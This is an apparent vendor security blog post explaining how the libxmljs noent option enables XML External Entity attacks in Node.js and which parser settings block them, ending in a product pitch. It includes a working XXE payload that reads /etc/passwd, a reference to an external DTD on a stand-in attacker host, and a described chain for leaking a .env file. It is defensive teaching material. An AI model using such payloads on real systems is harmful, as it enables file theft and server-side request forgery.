Safeguard
Industry Analysis

XXE Prevention in JavaScript: Disabling libxmljs noent

How the libxmljs noent option silently reopens XML External Entity (XXE) attacks in Node.js apps, and the exact parser settings that shut it down for good.

Aman Khan
AppSec Engineer
7 min read

In 2014, a security researcher named Reginaldo Silva discovered an XML External Entity (XXE) flaw in Facebook's OpenID implementation, which parsed XML using a library built on libxml2 — the same C library that powers Node.js's libxmljs bindings. The bug let him read arbitrary files from Facebook's servers and pivot toward remote code execution. Facebook paid out $33,500, one of the largest bug bounties awarded at the time. The root cause was almost mundane: an XML parser configured to resolve external entities by default.

Twelve years later, that same class of misconfiguration still shows up in Node.js codebases that use libxmljs to parse SOAP payloads, SAML assertions, RSS feeds, and config files. The noent parsing option — short for "substitute entities," despite the confusing name — is one of the most common ways teams accidentally reopen the door. This post explains what noent does, how it enables XXE, and how to lock it down.

What is XXE and why does it still matter in 2026?

XXE happens when an XML parser resolves external entities defined in a document's DTD, letting an attacker read local files, trigger server-side request forgery (SSRF), or exhaust memory through recursive entity expansion. OWASP folded XML External Entities into "A05:2021 – Security Misconfiguration" in the 2021 Top 10, but the underlying bug pattern hasn't gone away — it just moved. Any Node.js service that ingests XML from an external party (webhooks, SOAP APIs, SAML single sign-on, RSS/Atom ingestion, DOCX/ODF file parsing) is a candidate. Because libxmljs is a thin binding over the C library libxml2, it inherits libxml2's parsing behavior line for line, including every footgun libxml2 has ever shipped — such as CVE-2013-0338, where libxml2 failed to prevent XXE by default in versions through 2.9.0.

What does the noent option in libxmljs actually do?

noent tells the underlying libxml2 parser to substitute entity references with their defined values instead of leaving them as literal text nodes in the DOM. When you call libxmljs.parseXml(xml, { noent: true }), any <!ENTITY> declared in the document's DOCTYPE — including one that points at a local file path or a SYSTEM URI — gets resolved and inlined into the parsed document. Without noent, libxml2 still parses the DTD by default but won't expand external entities into the tree the same way, which is why flipping this one boolean is the single most common trigger for XXE in libxmljs-based code. Developers usually turn it on for an unrelated reason: some XML documents use internal entities purely as text macros (e.g., &company; expanding to a company name), and noent: true is the easiest way to make those resolve instead of showing up as raw entity references in the output.

How does enabling noent lead to actual exploitation?

It leads to exploitation the moment an attacker controls any part of the XML input and the parser is allowed to fetch external resources. A textbook payload looks like this:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

If this document is parsed with libxmljs.parseXml(input, { noent: true }) and the resulting DOM's text content is echoed back anywhere — an API response, a log line, a rendered report — the contents of /etc/passwd (or C:\Windows\win.ini on a Windows host, or a cloud metadata endpoint like http://169.254.169.254/latest/meta-data/) leak straight to the attacker. Swap the SYSTEM URI for an internal service address and the same primitive becomes SSRF against infrastructure that isn't otherwise internet-reachable. A related variant, the "billion laughs" attack, nests internal entities recursively to expand a few hundred bytes of XML into gigabytes in memory, causing a denial of service — no noent required, just default DTD processing left enabled.

How do you disable noent and harden libxmljs parsing correctly?

You disable it by never setting noent: true and by pairing that with explicit network and DTD restrictions, because noent alone isn't the whole attack surface. The safer parse call looks like this:

const libxmljs = require('libxmljs2');

const doc = libxmljs.parseXml(untrustedXml, {
  noent: false,   // do not substitute entities
  nonet: true,    // block network access during parsing
  noblanks: true,
  dtdload: false, // do not load external DTD subsets
});

Three things matter here beyond the obvious noent: false. First, nonet: true stops libxml2 from dereferencing http:// or ftp:// URIs even if an entity somehow gets resolved, which closes the SSRF path. Second, dtdload: false prevents the parser from fetching an external DTD subset referenced via <!DOCTYPE data SYSTEM "http://attacker.com/evil.dtd">, a bypass that works even when inline entity declarations look harmless. Third, if your application doesn't need DTDs at all — most REST/SOAP payloads don't — the most robust fix is to strip or reject any document containing a <!DOCTYPE declaration before it reaches the parser, using a cheap regex or string-contains check as a pre-filter in addition to the parser flags. Defense in depth matters here because parser option names and defaults have changed across libxml2 releases; relying on a single flag has repeatedly proven fragile.

Which library should you actually be using — libxmljs or libxmljs2?

You should be using libxmljs2, because the original libxmljs package went largely unmaintained and a community fork, libxmljs2, was created in 2018 specifically to keep pace with security fixes and Node.js ABI changes. Both packages expose the same noent/nonet/dtdload options described above since both wrap libxml2, so the hardening guidance is identical — but only the maintained fork reliably ships updates when a new libxml2 CVE lands. Teams that pinned to the original libxmljs package as far back as 2015 are frequently still running it unpatched in production dependency trees today, discovered only when a software composition analysis (SCA) scan finally reaches that transitive dependency.

What does a real exploitation chain look like end to end?

It looks like an attacker submitting a file upload, webhook payload, or SSO assertion that gets parsed server-side with permissive XML settings, then reading back the result through any channel the app exposes. Concretely: a SAML service provider parses an incoming <samlp:Response> with noent: true for compatibility with a legacy identity provider; an attacker who can influence the assertion (or intercept the flow) embeds a SYSTEM entity pointing at the application's own .env file; the parsed DOM is later serialized into an audit log or error message that includes the substituted entity value; the attacker reads that log through an exposed monitoring endpoint. Every step in that chain is standard behavior for a handful of internal services chained together — which is exactly why XXE remains a high-value finding in bug bounty programs and why libxmljs configuration audits routinely turn it up in supply chain reviews of Node.js services built before 2020.

How Safeguard Helps

Safeguard's software supply chain security platform is built to catch exactly this class of issue before it reaches production. Our composition analysis maps every transitive dependency in a Node.js project, flags unmaintained packages like the original libxmljs in favor of actively patched forks such as libxmljs2, and correlates them against known CVEs in libxml2 and its bindings. Beyond dependency inventory, Safeguard's static analysis engine scans parser call sites for dangerous configuration patterns — noent: true without a corresponding nonet or dtdload restriction, missing DOCTYPE filtering, and unsafe defaults left over from copy-pasted examples — and surfaces them directly in pull request reviews with the exact line and fix. For teams handling SAML, SOAP, or any XML ingestion pipeline, Safeguard also provides policy-as-code rules that can block a build if a new dependency or code change reintroduces an XXE-capable parser configuration, closing the gap between "we fixed it once" and "we fixed it everywhere, permanently." That continuous verification is what turns a one-time audit finding into a durable guarantee across every future commit.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.